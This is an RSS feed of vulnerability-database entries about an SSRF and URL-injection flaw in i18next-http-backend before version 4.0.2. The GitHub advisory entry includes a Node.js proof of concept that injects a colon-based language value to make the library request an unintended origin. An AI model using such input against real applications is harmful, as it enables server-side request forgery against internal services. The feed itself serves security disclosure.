<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 23:53:08 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-105800</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-105800</link>
      <description>&lt;p&gt;i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL&amp;#39;s structural beginning. This issue is fixed in version 4.0.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL&amp;#39;s structural beginning. This issue is fixed in version 4.0.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-105800</guid>
    </item>
    <item>
      <title>GHSA-xvq9-wjp8-hwqf — i18next-http-backend incomplete URL validation permits SSRF</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-xvq9-wjp8-hwqf</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: i18next-http-backend&lt;/p&gt;
&lt;p&gt;There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.&lt;/p&gt;
&lt;p&gt;This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```js
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require(&amp;#34;node:http&amp;#34;);
const Backend = require(&amp;#34;i18next-http-backend&amp;#34;);&lt;/p&gt;
&lt;p&gt;function read(backend, lng, ns) {
  return new Promise((resolve) =&amp;gt; {
    backend.read(lng, ns, (err) =&amp;gt; resolve(err));
  });
}&lt;/p&gt;
&lt;p&gt;async function main() {
  let gotRequest = false;
  const server = http.createServer((req, res) =&amp;gt; {
    gotRequest = req.url === &amp;#34;/common.json&amp;#34;;
    res.writeHead(200, { &amp;#34;content-type&amp;#34;: &amp;#34;application/json&amp;#34; });
    res.end(&amp;#34;{}&amp;#34;);
  });&lt;/p&gt;
&lt;p&gt;await new Promise((resolve) =&amp;gt; server.listen(0, &amp;#34;127.0.0.1&amp;#34;, resolve));
  const backend = new Backend(null, { loadPath: &amp;#34;{{lng}}/{{ns}}.json&amp;#34; });
  const lng = `http:127.0.0.1:${server.address().port}`;&lt;/p&gt;
&lt;p&gt;const err = await read(backend, lng, &amp;#34;common&amp;#34;);
  server.close();&lt;/p&gt;
&lt;p&gt;const vulnerable = gotRequest &amp;amp;&amp;amp; !err;
  console.log(vulnerable ? &amp;#34;VULNERABLE&amp;#34; : &amp;#34;SAFE&amp;#34;);
  if (!vulnerable) process.exitCode = 1;
}&lt;/p&gt;
&lt;p&gt;main();
```&lt;/p&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;p&gt;```bash
npm install --ignore-scripts
node poc.js
```&lt;/p&gt;
&lt;p&gt;The expected result is:&lt;/p&gt;
&lt;p&gt;```text
VULNERABLE
```&lt;/p&gt;
&lt;p&gt;## Why the Previous Patch Was Incomplete&lt;/p&gt;
&lt;p&gt;This vulnerability is caused by an incomplete pat…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: i18next-http-backend&lt;/p&gt;
&lt;p&gt;There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.&lt;/p&gt;
&lt;p&gt;This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```js
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require(&amp;#34;node:http&amp;#34;);
const Backend = require(&amp;#34;i18next-http-backend&amp;#34;);&lt;/p&gt;
&lt;p&gt;function read(backend, lng, ns) {
  return new Promise((resolve) =&amp;gt; {
    backend.read(lng, ns, (err) =&amp;gt; resolve(err));
  });
}&lt;/p&gt;
&lt;p&gt;async function main() {
  let gotRequest = false;
  const server = http.createServer((req, res) =&amp;gt; {
    gotRequest = req.url === &amp;#34;/common.json&amp;#34;;
    res.writeHead(200, { &amp;#34;content-type&amp;#34;: &amp;#34;application/json&amp;#34; });
    res.end(&amp;#34;{}&amp;#34;);
  });&lt;/p&gt;
&lt;p&gt;await new Promise((resolve) =&amp;gt; server.listen(0, &amp;#34;127.0.0.1&amp;#34;, resolve));
  const backend = new Backend(null, { loadPath: &amp;#34;{{lng}}/{{ns}}.json&amp;#34; });
  const lng = `http:127.0.0.1:${server.address().port}`;&lt;/p&gt;
&lt;p&gt;const err = await read(backend, lng, &amp;#34;common&amp;#34;);
  server.close();&lt;/p&gt;
&lt;p&gt;const vulnerable = gotRequest &amp;amp;&amp;amp; !err;
  console.log(vulnerable ? &amp;#34;VULNERABLE&amp;#34; : &amp;#34;SAFE&amp;#34;);
  if (!vulnerable) process.exitCode = 1;
}&lt;/p&gt;
&lt;p&gt;main();
```&lt;/p&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;p&gt;```bash
npm install --ignore-scripts
node poc.js
```&lt;/p&gt;
&lt;p&gt;The expected result is:&lt;/p&gt;
&lt;p&gt;```text
VULNERABLE
```&lt;/p&gt;
&lt;p&gt;## Why the Previous Patch Was Incomplete&lt;/p&gt;
&lt;p&gt;This vulnerability is caused by an incomplete pat…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-xvq9-wjp8-hwqf</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-105800</title>
      <link>https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-105800</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend&lt;/p&gt;
&lt;p&gt;(i18next-http-backend is a backend layer for i18next that loads transla ...)&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend&lt;/p&gt;
&lt;p&gt;(i18next-http-backend is a backend layer for i18next that loads transla ...)&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-105800</guid>
    </item>
  </channel>
</rss>
